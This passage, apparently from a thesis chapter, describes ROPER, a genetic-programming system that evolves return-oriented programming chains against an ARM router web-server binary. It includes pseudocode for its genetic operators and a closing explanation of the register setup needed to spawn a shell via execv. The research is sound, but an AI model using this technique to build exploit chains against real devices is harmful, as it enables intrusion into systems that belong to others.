tion in a virtual machine – an emergent machine, supervening on the host’s native

instruction set architecture. What we’re calling a clump here maps onto this concept

of “instruction”, but with a slight displacement: the gadget address can be seen as

something like an “opcode” for the ROVM, and the immediate values in each clump

can be seen as operands – but operands of the next instruction, not of the instruction

whose opcode is represented by their own clump’s gadget pointer.

When the initial population is generated, we take a pool of gadget pointers, har-

vested from the target binary (see §4.1), and a pool of integers and data pointers,

supplied by the user as part of the problem specification. We then form clumps, as

described above, using randomly chosen elements of these two pools, as needed. The

clumps are then assembled into variable length chains (with the minimum and maxi-

mum allowed lengths being parameterized by the user), which gives us our genotype

representation. The internals of this algorithm are detailed in Algorithm 4.5.

4.3 Genetic Operators

In order for our population of loosely structured but otherwise random ROP chains to

explore the vast and uncharted space of possible combinations and (on the side of phe-

notypes) their associated behaviours, we need a means of moving from a given subset

of our population to “similar” genotypes in the neighbourhood of that subset, which

may not yet belong to the population. This is accomplished by the genetic operators,

which allow our population to search the genotype space through reproduction and

variation.

ROPER makes use of two such operators: a crossover operator, which operates

on genotypes as lists of clumps, and a mutation operator, which operates on clumps

internally.

4.3.1 Mutation

The mutation operator selects, randomly, from a set of transformations, which it then

applies to one or more words contained in one or more randomly selected clumps. The

choice of operation is constrained by the word slot being operated on: the word that

is (probabilistically) fated to be loaded into the instruction pointer isn’t subject to
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Algorithm 4.5 Spawning an Initial Individual
Require: G : [[N 32]], a set of gadget pointers

Require: P : [[N 32]], a set of integers and data pointers

Require: (R, s): a PRNG and seed

Require: (min,max) : (N,N), minimum and maximum genotype lengths

1: Γ← empty stack of clumps {the genotype representation}

2: R← seed(R, s)

3: n,R← random-int(R, min, max)

4: for i← 0 to n do

5: ĝ,R← choose(R,G)

6: C ← empty stack of N 32

7: δ ← SP∆(g) {cf. sec. 4.2 for def. of SP∆}

8: for j ← 0 to δ do

9: p,R← choose(R,P)

10: push p onto C

11: end for

12: push ĝ onto C

13: push C onto Γ

14: end for

15: return Γ
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the same range of modifications that the other words in the clump are. The reason

for this is that the performance of an individual will, in general, be more sensitive

to modifications to its gadget pointers than to its immediate values, and so it makes

sense to afford the mutation operator a greater degree of freedom when dealing with

a value that is unlikely to be used to directly control the instruction pointer. It is

relatively safe to increment or decrement a pointer by a word size or two, but almost

always hazardous to negate or shift it, for example.

The rest of the words in the clump can be mutated much more freely. The oper-

ations currently available include:

1. arithmetically, by applying either numerical operations such as addition and

subtraction;

2. bitwise operations, such as shifts, rotations, sums, and products by a randomly

selected constant value;

3. the pointer operations of dereference (interpreting a value as a pointer, when

possible, and replacing it with the value found at the corresponding address in

the process’s memory) and indirection (the somewhat more costly (O(n) over

the size n of the memory space) operation of searching through memory for

an instance of the value, and replacing it with a pointer that dereferences to

it). When a value cannot be dereferenced as a pointer, or a pointer to a word

cannot be found in memory, the operation collapses to the identity function;[fn::

Putting & for raw indirection and ∗ for raw dereference, as in C, our pointer

operators &′ and ∗′ are defined as endomorphisms in ⊭32, where &′(x) = &x

when (∃y) ∗ y = &x, and &′(x) = x otherwise. ∗′ is the dual of &′. Unlike the

familiar C operators, our pointer mutations therefore have algebraic closure.

4. a permuation operation, by which two randomly selected machine words in a

clump exchange places;

5. a combination of 3 and 4, where two randomly selected words in a clump are

chosen, and one is replaced with their bitwise sum, the other with their bitwise

product;
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What the four mutation operations have in common is that they share a certain

minmal algebraic structure. Within each set, each operation – which, formally, is a

endomorphism over [232] – has an inverse:

(∀M ∈ S)(∀x)(∃y)M(x) = y ⇒ (∃M ′ ∈ S)M ′(y) = x

and an identity:

(∀M ∈ S)(∃x)M(x) = x

What this means is that over each set of mutation operators – and therefore over

their union – the concatenation or succession their application forms a cyclic group.4

In practical terms, this is a generally beneficial property for genetic operators to

possess: all else being equal, they should be designed with an eye towards neutrality

with respect to an arbitrary choice of fitness functions. By ensuring that the mutation

operators are involutive, or, more generally, that they form a cyclic concatenation

group, involution just being the smallest nontrivial form of such a structure, with

a cycle of two, we (imperfectly) guard against a situation where they ratchet the

population into a small corner of the genotypic (and, consequently, the phenotypic)

landscape, independent of the fitness function. (Identity is less significant, in this

context, and is introduced into the mutation operators only as a way of ensuring

closure.) Ratcheting occurs when the genetic operators are not properly balanced. In

the situation where the algebra defined by concatenation over the mutation operators

does not form a cyclic group – when there is “no way back” from some mutation

M by any succession of further mutations – ratcheting is inevitable. This problem

is distinct from, but related to, the problem of genetic drift, which it exacerbates.

Involutive pairs of operators, selected with equal probability, provide some safeguard

against this. The ideal, in some sense, would be to select genetic operators that would

engender an ergodic system under a null fitness function:5 one whose behaviour is

evenly distributed over the probability landscape it inhabits. In practice, even with

fitness anulled, evolutionary systems rarely exibit such regularity, which has some

very interesting effects on the paths that evolution pursues. We will study some of

these consequences in Chapter 5.

4The proof is left as an exercise for the author.
5Thanks to Andrea Shepard for this insight.
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4.3.2 Crossover

At a slightly higher structural level, the reproduction algorithm may apply a crossover

operation to the list of clumps, taking the clumps as opaque units.

I chose single-point crossover over two-point or uniform crossover to favour what

I judged to be the most likely form for gene linkage to take in this context: A single

gadget can transform the CPU context in fairly complex ways, since it may include

any number of architectural instructions. The prevalence of multipop returns in

ARM code further increase the odds that the work performed by a gadget g will

be clobbered by a subsequent gadget g′, and this risk increases monotonically as we

move down the chain from g. This means that adjacent gadgets are more likely to

achieve a combined, fitness-relevant effect, than non-adjacent gadgets. Lacking any

reason to complicate things further, we restricted the number of parents involved in

each mating event to two. 6

In single-point crossover between two genotypes, µ and φ, we randomly select a

link index µi where µi < |µ|, and φi where φi < |φ|. We then form one child whose

first µi genes are taken from the beginning of µ, and whose remaining genes are taken

from the end of φµi..., and another child using the complementary choice of genes.

The only modification I make to this well-known algorithm, in ROPER, is to weight

the choices of µi and φi, using a parameter we call “fragility”, whose calculation I

explain in §4.3.2.1. The details of the algorithm itself can be found in 4.6.

Crossover, so defined, has certain algebraic properties that allow it to interact

harmoniously with the forms of mutation specified in Section 4.3.1. If we abstract

away from the information loss enabled by the possibility of dropping of genes with low

link fitness, a probabilistic parameter that can be tuned, in ROPER, then, under the

assumption of a maximum genome length – an assumption that holds in ROPER, and

which is imposed quite naturally by the practical limits of stack space in the target

process – the crossover function, too, can be shown to form a cyclic group under

concatenation. Let a and b be two chains selected for crossover, and C(a, b) the set of

possible offspring that may emerge from their mating. If we restrict the splice index of

6One of the limitations of ROPER is that the mating algorithm, and the genetic variation oper-
ators in general, are assumed fixed. In ROPER II, we will experiment with a technique for opening
this, too, to genetic exploration and selective pressure, which Lee Spector calls “autoconstructive
evolution”.
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Algorithm 4.6 Single-Point Crossover, with Fragility
Require: (µ⃗, φ⃗): ([[ clump ]], [[clump ]]), the parental genotypes

Require: Fragility : [[clump ]] × [[ clump ]] × lineage → F
Require: (R, s): a PRNG and seed

Require: n: N, brood size

1: R← seed(R, s)

2: splice-points ← () {the indices at which the parental genes will be recombined}

3: for α⃗ ∈ (µ⃗, φ⃗) do

4: t←
∑

α∈α⃗ 1.0− Fragilty(α)

5: p,R← random-float(R, t) {p is more likely to fall on a highly fragile link}

6: x← 0

7: i← 0

8: while x < p do

9: x← x+ Fragility(αi)

10: i← i+ 1

11: end while

12: push (α⃗, i) onto splice-points

13: end for

14: let µa, µb = split µ at splice-points.lookup(µ)

15: let φb, φa = splitφatsplice-points.lookup(φ)

16: let χa = µa ∪ φa

17: let χb = φb ∪ µb

18: return χa, χb {the offspring}
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the crossover to be nonzero, then a, b ̸∈ C(a, b). But if we then take the set C(C(a, b))

of all possible offspring resulting from an inbreeding of members of C(a, b), then we

do find that both a and b appear in this set. There is provable possibility for a chain,

identified only by its packed composition and without considering its genealogical

metadata, to be its own grandpa.

Crossover is therefore associative, and since the crossover operation is symmet-

rically defined – one of the two offspring that are actually produced by a mating

of a and b will begin with clumps from a, the other with clumps from b, with the

other parent providing the tail – we can show that the mutation operators defined

in Section 4.3.1 commute with and distribute over crossover, if we consider them as

functions that take probability distributions of offspring as their codomain.

This is still some distance from rigorously establishing that ROPER’s populations

will, asymptotically, approximate an ergodic system – a system where any states

that are reachable at the outset remain reachable, by an arbitrarily long but finite

path of genetic operations, from any point in that system’s evolution – but it does

at least establish the plausibility of ergodicity. In practice, however, convergence

and evolutionary deadends may remain commonplace, and it is only a very slight

reassurance to know that such states of affairs are not irreversible or eternal, in

principle.7

4.3.2.1 Fragility and Gene Linkage

As a way to encourage the formation of complex ’building blocks’ – sequences of

clumps that tend to improve fitness when occurring together in a chain – we weight

the random choice of the crossover points µi and φi, instead of letting them be simply

uniform. With each each adjacent pair of nodes is associated a “fragility” value,

representing the likelihood of that pair being split by a crossover operation. The

fragility of each link in A is derived from the running average of fitness scores exhibited

by the sequence of ancestors of µ who shared the same linked pair. Links that have a

genealogical track record of appearing in relatively fit ancestors (i.e., ancestors with

7For a rigorous discussion of ergodicity in genetic algorithms, as a consequence of the algebraic
structure of the genetic operators – and, in particular, of the commutativity of mutation and crossover
– see [27].
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anumerically low fitness rank) will have a correspondingly low fragility score, while

links from weaker genealogical lines will have a respectively greater fragility.

Following a fitness evaluation of µ, the link-fitness of each clump f(µi) (implicitly,

between each clump and its successor) is calculated on the basis of the fitness of µ,

F (µ):

f(µi) = F (µ)

if the prior link fitness f ′(µi) of µi is None, and

f(µi) = αF (A) + (1− α)f ′(µi)

otherwise. The prior link-fitness value f ′(µi) is inherited from the parent from which

the child receives the link in question. If the child µ receives its ith clump from one

parent and its (i + 1)th clump from another, or if i is the final clump in the chain,

then f ′(µi) is initialized to None.

Fragility is calculated from link-fitness simply by substituting a default value

(50%) for None, and taking the link-fitness score, otherwise.

In the event of a crash – where the emulation of a specimen terminates prema-

turely, due to a CPU exception, such as a segmentation fault or division by zero – the

link-fitness of the clump prior to the one responsible for the crash-event is severely

worsened (raised) and the fragility adjusted accordingly. Attribution of responsibility

is approximate at best – all we do is lay the blame at the feet of the last clump to

execute before the crash event – but the penalty is ultimately probabilistic. A clump

whose successful execution is highly dependent on the existing CPU context should be

seen as a liability, in any case, regardless of whether or not that same clump may have

behaved normally in other circumstances. (An example of such a clump would be

one that reads from a memory location specified by a register that it does not, itself,

set.) This penalty in link-fitness makes connections to the crash-liable clump highly

fragile, and so the weighted crossover employed here becomes much more likely to set

a splice point just prior to that clump. This has the effect of weeding particularly

hazardous genes out of the genepool fairly quickly, as we will see.
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Figure 4.4: High-level overview of the ontogenesis and evaluation process. The “path
diversity” component will not be introduced until we reach §A.3.
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4.4 Ontogenesis and Evaluation

The algorithms explained above all depend, either directly or in the way they hang

together, on having a way to evaluate the “fitness” of arbitrary genotypes.

The genetic programming literature often enlists the biological distinction between

genotype and phenotype.

4.4.1 From Genotype to Phenotype

“Genotype” is used to refer to the immediate representations of the individuals in the

population, as sequences of semantically uninterpreted instructions. It is, in a sense,

a purely syntactic concept. The genotype is the genetic syntax of an individual in the

population, and belongs to the domain of the genetic operators – crossover, mutation,

and so on, all of which operate on syntax alone, at least in principle.8

Selection, however, does not directly operate on genotypes but phenotypes. In the

context of genetic programming, “phenotype” is the name given to the semantic inter-

pretation of an individual’s genetic code. If the genotype is a sequence of instructions,

then the phenotype is the behaviour expressed when that sequence is executed.

One could argue 9 that the notion of phenotype should be constrained further

still, to refer not just to the semantic interpretation of the genome, but to the result

of applying the fitness function to that interpretation. While this distinction does

bring some clarity to the issue, and give the engineer a better view of what, exactly,

is the subject of selection, it does deprive us of a nice term for the intermediate

representation, between genotype and fitness value. In ROPER, in particular, the

semantic image of the genotype is complex enough that it’s worth distinguishing

from its later collapse into a fitness value, for some purposes. We have, moreover, set

things up in such a way that it is possible to vary the fitness function while keeping

the semantic image – what we call the phenotype – constant. It is simpler, in this

case, to “carve nature at the joints”, and define the fitness function as a function from

phenotypes to floats, rather than as much more complex function from genotypes to

8It could be argued that the fragility mechanism described above leaks some amount of se-
mantic/phenotypic information into our genetic operations, but this is no cause for concern – the
distinction is simply descriptive, and carries no prescriptive force.

9And, if memory servers, this has been argued. . . but memory seems unable to serve either
source or citation.
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floats. The floats, in this case, will be called “fitness values”, rather than phenotypes,

as Bahnzaf would have it.

As for the function from genotypes to phenotypes – the semantic evaluation func-

tion – we might as well keep on pilfering biology textbooks for our terminology, and

refer to it as ontogenesis.

4.4.2 Ontogenesis of a ROP-chain

Our definition of ontogenesis in ROPER should be no suprise: it is simply the exe-

cution of the ROP-chain payload encoded in the genotype in the “womb” of the host

process.

If we strip away the clump structure, and associated metadata, such as fragility

ratings, with which we saddled our genotypes in order to provide better traction to

our genetic operators, what remains is just a stack of fixed-width integers. Some

of these integers index “gadgets” in the host process, while others are there only to

provide raw numeric material to register and memory operations. If we take this

stack, pack it down to an array of bytes, and write it to the stack memory of the

host process, we should be able to evaluate it simply by popping the first item on the

stack into the instruction pointer – which is precisely what would happen when a pop

{ip} return instruction is executed.

From that point on, we only need to sit back at watch as the ensuing cascade

of returns executes our payload. This is no different from what takes place in a

ROP-chain attack in the wild – aside from a few simplifications: for the time being,

we are abstracting away from any particular attack vector or preexisting machine

state. The registers of the virtual machine are all initialized to arbitrary, constant

values, and we don’t bother to ask how the ROP payload happened to get written

to the stack. The stack is of fixed size, and restricted to the region of memory that

the ELF program headers precribe for it – thereby placing an upper bound on the

effective size of individuals in our population – but the exact address of the stack

pointer at the moment of inception is not based on any observed process state, just

set, conveniently, to the centre of the available stack segment. No consideration, as of

yet, has been given to avoiding “bad characters” in our payloads, though introducing
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this restriction would be fairly trivial. Execution is terminated as soon as any of the

following conditions obtain:

1. the value of the instruction pointer is 0;

2. the CPU has thrown an exception (a segmentation fault, a bad instruction,

division by zero, etc.);

3. some fixed number n of instructions has been executed.

The first outcome is treated as a “well-behaved” termination, as though the pay-

load had reached its proper conclusion. Null bytes are written to the stack just

beneath each payload, with the intention of having 0x00000000 popped into the in-

struction pointer by the final return statement. This condition, of course, can easily

be gamed by an individual that finds another means of zeroing out its instruction

pointer, with something like

xor r3, r3, r3

mov ip, r3

for example.

The second and, to a lesser extent, the third outcome both result in a variable

penalty to fitness, the details of which will be discussed in §4.4.3.

The execution of the ROP chain payload is, in the context of ROPER, our onto-

genesis function: it gives us the phenotype, the behavioural, semantic profile of the

genotype. It is to this structure that the fitness functions are applied.

4.4.3 Fitness Functions

Each of the fitness functions with which we’ve experimented begin with a partial

sampling of the individual’s behavioural profile, generally restricted to just a few

features:

1. the state of the CPU’s registers at the end of the individual’s execution;

2. the number of gadgets executed, as determined by the number of return in-

structions evaluated;
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3. whether or not a CPU exception has been thrown.

This behavioural synopsis is then passed to a task-specific fitness function. We

experimented with three types of task : a. reproduction of an specific register state,

such as we might try to achieve in order to prepare the CPU for a specific system

call, for example; b. classification of a simple data set, using supervised learning tech-

niques; c. participation in an interactive game, where the evaluation of the payload

makes up the body of the game’s main loop.

The task-specific function maps the behavioural synopsis onto a double-width

float, between 1.0 and 0.0, with better performance corresponding to lower values.

The exact nature of the tasks and performance of the system will be discussed in

detail in Chapter 5. For the time being, the matter of CPU exceptions deserves

closer comment.

4.4.3.1 Failure modes and crash rates

Our population of random ROP-chains begins its life as an extraordinarily noisy and

error-prone species. The old problem of computational brittleness resurfaces here

in full force: the odds of a randomly generated chain of gadgets executing without

crashing is extremely small – under 5%, on average, at the beginning of a run. If

we were to let each crash count as unconditionally lethal, this would impose such a

tremendous selective pressure on the population as to make it virtually unevolvable.

What few islands of stability exist in the initial population would be cut off form one

another by an inhospitable ocean of segfaults, leaving little room for exploration.

Fortunately, our chains have the luxury of being raised in the safety of a virtual

nursery, and nothing obliges us to make crashes unconditionally fatal. We have at

least two alternative possibilities:

1. apply a fixed penalty to fitness in the event of a crash,

2. make the crash penalty proportionate to the ratio of the chain that executed

prior to the exception, measured in gadgets

ROPER takes the second approach, and implements it by trapping the return

instructions in the Unicorn emulator. This lets us smooth an abrupt cliff in the
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fitness landscape down to a gentle slope, incentivizing adaptations that minimize the

likelihood of crashing while at the same time leaving room to reward specimens that

do a good job of solving the problems posed to them, even if they botch the landing.

This prevents us from sacrificing a number of useful genes, and gives them a chance

to decouple from their pathological counterparts, through crossover, or to be repaired

through mutation.

With this modification to the fitness function in place, the percentage of chains

that crash before completing execution has a tendency to drop to less than 10%

within a few hundred generations. What’s particularly interesting is what happens

when the average fitness of the population hits a plateau: the crash rate begins

to rise again, until the plateau breaks, and the error rates begin to drop again. A

plausible explanation for this behaviour is that we are seeing the genetic search start to

explore riskier behaviours as the competition between combatants in each tournament

slackens. As soon as a new breakthrough is discovered in the problem space, the

competition once again hardens, and crash-prone behaviour becomes a more severe

liability. In this way, he fitness landscape, as a whole, becomes elastic.

4.4.4 Fitness Sharing

The most serious problem that ROPER’s populations appear to encounter, particu-

larly when dealing with relatively complex problem spaces – classification problems

or interactive games – is the depletion of diversity.

As a population becomes increasingly homogenous, the exploratory potential of

the genetic operations becomes more and more constricted. There are two distinct,

but closely related, forms under which diversity should be considered here: genotypic

diversity and phenotypic diversity. At the beginning of the evolutionary process, when

the population consists entirely of randomly-initialized specimens, genotypic diversity

is likely at its historic peak: the sum of genetic differences between each specimen

and every other is maximal, with no discernible “family resemblance” between them,

beyond those afforded by chance. Behavioural, or phenotypic, diversity, however,

is typically rather meager at this point. Unless the problem is extremely simple,

and likely to be solved by random search, the odds are that almost every specimen

behaves in an effectively similar fashion: near-total failure. Nevertheless, if sufficient
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genetic material exists, however, and if the fitness function is sufficiently subtle, some

phenotypic gradients will distinguish themselves from the white noise of failure, and

it is these minor differences that selection will accentuate. As a result, the population

will often experience a “Cambrian Explosion” of some form in the early phases of

the evolutionary process: a tremendous flowering of phenotypic diversity, paid for

by a reduction in genotypic diversity (at least insofar as we can measure genotypic

diversity in terms of raw hamming distances or bitstring similarity, without giving any

consideration to structure). The danger is that some particular family of phenotypes

will be so strongly favoured by selection that its corresponding genotypes consistently

replicate faster than any others, squeezing their rivals out of the population altogether.

This can lead us to a point where the exploratory power of recombination is nearly

exhausted: the only remaining sources of novelty, now, is the slow trickle of random

mutation or the creation of new, random individuals ex nihilo. The likelihood of

this situation being disrupted by sheer randomness, however, is as small as that of

discovering competitive solutions to the problem set through random search. The

result is that evolution stagnates, if not eternally, at least for much longer than we,

as experimenters and engineers, would care to wait.

When the problem set we are dealing with is plural – as it is in the second and

third types of fitness function, listed in §4.4.3 – one way that diversity depletion

often occurs is through hypertelia, or an adaptive fixation on low-hanging fruit.10

It is common for some subset of the problem set to be considerably simpler than

the rest, or for distinctions between certain classes in a classification problem to be

more computationally tractable than distinctions between other, more ambiguous or

complexly defined classes. It is consequently likely that the population will produce

specimens that are capable of handling those simpler problems and clearer distinctions

before anything exhibits comparable skill in handling the “harder” problems. So long

as the fitness function remains static, selection will magnify this discrepancy, and

the simple-problem-solvers will enjoy a persistent reproductive advantage over any

specimens that may be still fumbling their way through the more complex regions of

10The notion of hypertelia used here has been borrowed from Gilbert Simondon. See, for example,
the discussion in Chapter II, Section I, of On the Mode of Existence of Technical Objects, which
begins, “The evolution of technical objects manifests certain hypertelic phenomena which endow
each technical object with specialization, which causes it to adapt badly to changes, however slight,
in the conditions of its operation or manufacture.”
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the fitness landscape. Once the bottomfeeders reach such numerical dominance that

they start to appear in the majority of tournaments, there remains very little selective

advantage in tackling any other aspect of the problem space, and the population

suffers a rapid loss of phenotypic diversity. Whatever tacit grasp on the problem

space’s more challenging terrain may have emerged in the population up to that

point is quickly eclipsed and snuffed out. In the evolutionary computation literature,

this dynamic is referred to as “premature convergence”.

What guards natural ecosystems against this development are the merciless pres-

sures of crowding, scarcity, competition, which introduce a dynamic selective pressure

for phenotypic diversity. The fitness rewards provided by low-hanging fruit are no

longer boundless, but diminish in proportion to the number of individuals that reap

them. At a certain point, the selective advantage no longer lies with those individ-

uals that exploit the same, simple regions of the problem space, but with those who

discover a niche that hasn’t yet been picked thin by crowds of competitors.

A similar tactic can be adopted in evolutionary computation, where it goes by the

name of “fitness sharing”. At least two implementations of this strategy have become

canonical in the literature: explicit fitness sharing, introduced in [28], and implicit

fitness sharing, introduced in [29].

The underlying idea in both is that selective advantage should be diluted by non-

diversity. Explicit fitness sharing “relies on a distance metric to cluster population

members,” writes R.I. McKay in [30]. “Implicit fitness sharing,” by contrast, “differs

from the explicit form in that no explicit distance metric is required. Instead, all

population members which correctly predict a particular input/output pair share the

payoff for that pair.” In ROPER we adopt a variation on the latter approach. The

implementation is as follows:

1. each problem is initialized with a baseline difficulty score. It doesn’t much

matter which value is used for this, but setting it to the inverse of the proba-

bility of solving the problem by random guess works well, when dealing with

classification problems;

2. each problem is also allocated a predifficulty vector, which begins empty.

Every time an individual responds to the problem, its (its fitness assessment for

that particular problem) score is pushed into its predifficulty vector.
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3. after a one “season” of tournaments has elapsed – where the length N of a season

is defined as

N ← population_size

tournament_size ∗ (1− x)

where x is the probability of “headless chicken crossover” (cf. Algorithm 4.7),

we iterate through the problem set. Each problem e’s difficulty field is set

to the mean of the predifficulty vector. More difficult problems, at this point,

are associated with a higher difficulty score, which is always a float between 0.0

and 1.0.

4. once difficulty scores are available for each problem, the relative fitness of each

individual responding to it can be assessed: it is just the base, or “absolute”,

fitness score, multiplied by the inverse of the difficulty. If, for instance, X

receives 0.75 on a problem for which the average performance has been 0.1,

then X’s relative fitness is 0.75 ∗ (1.0 − 0.1) = 0.75 ∗ 0.90 = 0.675. If, on the

other hand, it receives 0.2 on a problem for which the average performance is

a miserable 0.98, then its relative fitness comes to 0.004, reflecting the rarity of

its talents.

4.4.4.1 Mechanisms of Selection

This brings us back to where our algorithmic overview began: to the tournament

algorithm used to select mating pairs. In the interest of bolstering the diversity of the

population, and staving off premature convergence, we incorporated two fairly well-

known modifications into the steady-state, tournament selection scheme described

in Algorithm 4.3: the partitioning of the population into “islands” or “demes”, with

rarefied points of contact, and the occasional use of “headless chicken crossover” as

ongoing supply of novelty to the gene pool.

4.4.4.1.1 Islands The mechanism used to isolate ROPER’s subpopulation or

“demes” is extremely simple: when we go to select our candidates for each tour-

nament, we do so by choosing n random indices i⃗ into the general population array,

but each time we choose, we restrict ourselves to choosing integer between 0 and

some constant, island_size, decided in advance. The index j of the candidate is then
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set to j ← i ∗ island_size + island_id. So long as this restriction is in place, each

individual will only directly compete with its compatriots, throttling the speed at

which the population is likely to converge on a single dominant genetic strain. This

throttle is modulated by allowing the selection of every mth candidate to be chosen

from the general population, without any regard given to island of origin. The migra-

tion rate, m, can be easily adjusted to experiment with more and less genealogically

interconnected populations.

4.4.4.1.2 Headless Chicken Crossover As a means of supplying the gene pool

with an additional spring of novelty, we also make use of a simple technique called

“headless chicken crossover”, which amounts to a small patch to Algorithm 4.3: we

replace line 3 with Algorithm 4.7.

Algorithm 4.7 Headless Chicken Patch
Require: H: float, with 0.0 < H < 1.0

Require: G,P,min,max: the parameters needed for Algorithm 4.5: the gadget pool,

the integer pool, and the minimum and maximum length of new individuals

1: R, i← R, pick a random float 0 < i < 1

2: if i < headless_chicken_rate then

3: R, candidates← using R, pick n− 1 from Π

4: R, candidates← candidates∪ spawn(R,G,P, min, max) {Using Algorithm 4.5}

5: else

6: R, candidates ← using R, pick n from Π {As before}

7: end if

4.5 Remarks on Implementation

The system described above has been implemented using the Rust programming

language, and the Unicorn emulation engine [31] [32].

Rust was chosen for its speed, type-safety, and functional niceties, though this

decision wasn’t entirely unarbitrary – prototypes of the system in Lisp, Haskell, and

OCaml are still strewn about my hard drives and Git repositories in various states

of incompleteness. The decision to make use of the Unicorn framework remained
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somewhat more constant. Evaluating arbitrary ROP chains on bare metal turned

out to be every bit as hazardous and messy as it sounds, and so the need to find a

suitable virtualization framework became apparent very early in the project. Spinning

up full-fledged Quick Emulator (QEMU) virtual machines (VMs) for each evaluation

– or even for each evaluation that ended in a fatal system state – would bring with

it a prohibitive amount of overhead. I needed something that would let me evaluate

thousands upon thousands of individuals within a reasonable timeframe.

Unicorn, which its authors describe as, “a lightweight multi-platform, multi-architecture

CPU emulator framework”, exposes the CPU emulation logic of QEMU, while ab-

stracting away from input/output (I/O) devices and any interface with the operating

system, along with all their associated overhead. The machine state of the emulator

remains transparent, and is easily instrumented by the user. This makes Unicorn

ideal for performing a fine-grained semantic evaluation of ROP chains, under the

assumption of a given CPU context. The evaluation, that is to say, is strictly “con-

crete” – it will tell us only how a given chain will behave, assuming that the CPU

context and memory space is in such and such a state. This can be seen as an

limitation of ROPER, as compared to procedurally deterministic but symbolically

indeterministic ROP compilers like Q [8], which makes use of symbolic execution (via

the Binary Analysis Platform (BAP)) to precisely determine the semantic valence

of each available gadget so as to explicitly fashion them into the ISA targetted by

Q ’s own compiler. What ROPER’s procedurally stochastic and semantically concrete

(i.e. “deterministic”) approach loses in semantic precision and robustness, however,

is made up for with a singular cunning when it comes to exploiting the particular,

concrete state of its host process. Its task, after all, is not to craft a portable, reusable

ROP payload that can be cut-and-pasted, off-the-shelf into arbitrary attack contexts,

but to craft payloads that are as idiosyncratically adapted to the peculiarities of its

chosen target as a moth to its orchid.

4.5.1 Initialization of the environment

In the discussion of the algorithmic specification of ROPER, above, we have, for the

most part, abstracted away from the environment in which the evolutionary process
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occurs. Setting up this environment is the first task of the engine, and it proceeds as

follows.

It begins by parsing and analysing the target binary – either a standalone exe-

cutable, or a shared library file. 11 ROPER is currently only prepared to handle

ELF binaries targetting 32-bit, little-endian ARM architectures, and though there’s

no essential reason for any of these restrictions, and the system could be fairly easily

adapted to handle other application binary interface (ABI) formats (such as Apple’s

Mach object file format (Mach-O) or Window’s Portable Executable (PE) formats),

or other architectures (some tenative work on adapting ROPER to is already un-

derway, and it turns out to be fairly straightforward to take on other RISC ISAs;

complex instruction set computer (CISC) ISAs pose a few more challenges, but tend

to make for extremely fertile gadget sets – the instruction set is so vast and intricate,

for example, that it can be a challenge to find a string of bytes that can’t be parsed

as a series of machine instructions!).

ROPER reads the ELF program headers and loads the program data into the

memory of a cluster of Unicorn emulator instances, at the appropriate addresses, and

with the appropriate permissions, just as the Linux kernel would do when launching

the executable on the metal. While doing this, ROPER (optionally) can ensure that

w⊕x is enforced, even if not strictly required by the binary. (In all of the experiments

documented in Chapter 5, w ⊕ x has been enforced.)

Since ROPER, like any genetic programming system, relies heavily on randomness,

a word or two about its is in order. The pseudo-random number generator (PRNG)

used is supplied by Rust’s default std::rand::thread_rng function, which, as of

version 0.5 of the rand library, rests on an implementation of the cryptographically

secure the HC-128 stream cipher (HC-128) algorithm [33], seeded on a per-thread

basis by the operating system’s entropy pool. In the current implementation, the

seeds passed to this generator are not logged, and cannot be manually specified by

the user, which makes the exact replication of a run impossible. I hope to address

this shortcoming in a future overhaul of the codebase. The salient point about the

PRNG, for now, is that it is of fairly high quality, and should not be vulnerable to

being exploited by the populations.
11Or, in principle, any region of executable memory. I am planning to have ROPER handle core

dumps, for instance
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Dr. Ian Malcolm John, the kind of control you’re attempting

simply is... it’s not possible. If there is one thing the history of

evolution has taught us it’s that life will not be contained. Life

breaks free, it expands to new territories and crashes through

barriers, painfully, maybe even dangerously, but, uh... well, there

it is.

John Hammond [sardonically] There it is.

Henry Wu You’re implying that a group composed entirely of

female animals will... breed?

Dr. Ian Malcolm No. I’m, I’m simply saying that life, uh...

finds a way.

Michael Crichton, Jurassic Park 5
Experimental Studies

5.1 Overview

As of the time of writing, I have experimented with four distinct classes of fitness

functions in ROPER, with a handful of variations within each class. Though ROPER

has been tested with numerous executable ELF binaries, compiled for the 32-bit ARM

architecture, for the sake of consistency, unless otherwise noted, all of the experiments

discussed here make use of a web server binary blob, pulled from the tomato-RT-N18U

router firmware image [34]. The distribution of gadgets harvested from this binary’s

.text section are plotted in figure 5.1, to which I will make frequent reference in the

subsequent heatmap overlay images.

In the following subsections (5.1.1, 5.1.2, 5.1.3, and 5.1.4), I will outline each

task set that ROPER was given to perform, and specify the way in which each was

incorporated into ROPER’s fitness function.
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Figure 5.1: Bitmap representation of the gadget distribution in the tomato-RT-
N18U-httpd ELF binary

67



In §5.3, I will walk through some of the more interesting results gleaned from each

experiment, and in §5.4, I will lay out certain conjectures that address an enigma in

the observed results, and set out another series of experiments to test it.

5.1.1 The null task

As discussed in §§4.3.1 and 4.3.2, when designing a genetic system, a question that

naturally arises as to what constraints are brought into play by the shape of the system

itself, in its genotypic and phenotypic topography, independent of any particular

fitness function that could be applied to it. In the case of simple and unilateral genetic

algorithm systems – where there is no distinction between phenotype and genotype

(the genetic syntax of individuals and their operational semantics), it is possible for

the system to be strongly ergodic. Under less harmonious conditions, however, there

may exist various attractors in the genotypic and phenotypic landscapes, and in their

interaction, that incline the system to converge in ways that are relatively independent

of any specific fitness function.

One way to empirically study these dynamics is to define an effectively uninforma-

tive fitness function, one that metes out rewards arbitrarily and inscrutably, without

any detectable pattern. A cryptographically secure random number generator is well

suited to this particular sort of absurdity, and this is how ROPER implements its

null task.1

And since, in each of the other experiments, I enforce some form of crash penalty

as a component of the fitness function (see §4.4.3 for details), it would make sense

to study what effects this pressure alone, abstracted from the others, has on the

population dynamics. For this reason, I will introduce a second series of null task

runs, in which the only non-random variable used in reproductive selection will be

the crash penalty.

5.1.2 Preparing the parameters for a system call

This task is the most immediately practical of the set, and comes the closest to a

practical, “real world” application of ROPER in the domain of application security.

1In the current implementation, this task can be chosen by setting the problem type to kafka,
in the configuration.
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One of the most common use cases for a ROP chain is to prepare the CPU con-

text for a particular system call, permitting the attacker to read or write to a file,

open a socket, execute a program, or any other task that requires the cooperation

of the operating system. To do this in assembly or machine code, the programmer

needs to set certain registers to contain and point to the relevant values. To call

execv("/bin/sh", ["/bin/sh"], NULL), for instance, and spawn a shell process,

on the ARM architecture, she needs to set register R0 to point to the null-terminated

string "/bin/sh\0", register R1 to point to a pointer to that string, set R2 to zero,

and set R7 to the code for this particular system call. Once this is done, dispatching

the call is just a matter of executing the SVC instruction. To perform this operation

with a ROP chain, the same requirements must be met, but in a more roundabout

